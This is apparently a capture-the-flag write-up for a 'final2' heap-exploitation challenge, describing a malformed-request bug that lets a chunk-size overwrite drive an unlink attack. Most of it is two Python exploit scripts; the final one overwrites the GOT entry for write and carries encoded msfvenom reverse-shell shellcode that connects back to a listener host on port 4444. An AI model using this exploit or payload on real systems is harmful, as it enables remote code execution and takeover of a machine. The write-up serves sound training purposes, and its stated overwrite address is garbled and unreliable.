First I analyzed the program. Each request should be 128 bytes length and should start with “FSRD”. The program tries to find the ‘/’ character and copies the string after this character before the first occurence of ‘/’ character before “ROOT”. Also each request is copied into an allocated space. If the size of the request is not equal with 128, then the program exits and frees the allocated memories.

The vulnerability here is that if we send two specially crafted requests, then we could overwrite the sizes of the second memory chunk. Then when the free is called, the unlink can be exploited. This is very similar to heap3 challenge. After a several tries, I finally created the first POC python script. I decided to overwrite the write function at 0x0804d41c. I chose the other address from the heap (from the beginning of the A’s memory area).

final2.py

#!/usr/bin/env python

import socket
import struct

IP="172.16.184.152"
PORT=2993


# Create client socket and connect to the IP/PORT
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((IP, PORT))

# Send data to the server
s1.send("FSRD" + "A"*(128-4-1) + "/")
s1.send("FSRD" + "ROOT" + "B"*99 + "/" + "\xf8\xff\xff\xff" + "\xfc\xff\xff\xff" + "\x10\xd4\x04\x08" + "\x10\xe0\x04\x08")
s1.send("exit")

# Close the socket
s1.close()

I managed to overwrite the address of write with the value of 0x09804e010. However the four bytes from 0x0804e018 is also overwritten. We have to jump over this memory area with a short jump, and our shellcode can be placed after this area. The short jump is 0xeb, 0x14. This jumps 20 bytes forward. I also replaced A’s with NOP instructions.

screen-shot-2016-12-06-at-10-31-06

The final solution:

final2.py

#!/usr/bin/env python

import socket
import struct

IP="172.16.184.152"
PORT=2993


# msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.16.184.1 LPORT=4444 -a x86 --platform linux -b -e x86/alpha_upper '\x00\x0a\x0d' -f python
# Found 10 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 95 (iteration=0)
# x86/shikata_ga_nai chosen with final size 95
# Payload size: 95 bytes
# Final size of python file: 470 bytes

buf =  ""
buf += "\xd9\xc0\xba\x7f\x0f\x35\x0b\xd9\x74\x24\xf4\x5b\x29"
buf += "\xc9\xb1\x12\x83\xeb\xfc\x31\x53\x13\x03\x2c\x1c\xd7"
buf += "\xfe\xe3\xf9\xe0\xe2\x50\xbd\x5d\x8f\x54\xc8\x83\xff"
buf += "\x3e\x07\xc3\x93\xe7\x27\xfb\x5e\x97\x01\x7d\x98\xff"
buf += "\x3d\x6d\xe2\xfe\x55\x8c\x12\x11\xfa\x19\xf3\xa1\x64"
buf += "\x4a\xa5\x92\xdb\x69\xcc\xf5\xd1\xee\x9c\x9d\x87\xc1"
buf += "\x53\x35\x30\x31\xbb\xa7\xa9\xc4\x20\x75\x79\x5e\x47"
buf += "\xc9\x76\xad\x08"

shellcode = buf


# Create client socket and connect to the IP/PORT
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((IP, PORT))

# Send data to the server
s1.send("FSRD" + "A"*(128-4-1-len(shellcode)-24) + "\xeb\x14" + "\x90"*22 + shellcode + "/")
s1.send("FSRD" + "ROOT" + "B"*99 + "/" + "\xf8\xff\xff\xff" + "\xfc\xff\xff\xff" + "\x10\xd4\x04\x08" + "\x10\xe0\x04\x08")
s1.send("exit")

# Close the socket
s1.close()